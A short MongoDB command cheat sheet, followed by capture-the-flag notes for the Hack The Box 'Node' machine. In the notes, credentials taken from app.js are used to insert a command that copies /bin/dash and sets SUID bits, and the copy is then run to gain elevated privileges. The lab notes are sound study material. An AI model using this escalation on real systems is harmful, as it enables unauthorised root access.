Mongo DB Commands

 

 Here are some basic mongo db commands

#List Databases
show dbs

#Select DB
use database_name

#List Collections (rows & Columns in sql)
show collections 

#list the items in a collection
db.collection_name.find();
db.users.find();
db.users.find().forEach(printjson)

Exploiting MongoDB - HTB Node

find creds in app.js 
example: mongodb://usernameLpassword@localhost:port/.......=DEFAULT&authSource=databasename';


mongo -p -u username DBName

//Creating SUID 
db.TableName.insert({"cmd" : "cp /bin/dash /tmp/filename; chmod 6755 /bin/dash;chmod u+s /tmp/filename"})           
db.TableName.find() 

//run with privs
/tmp/filename -p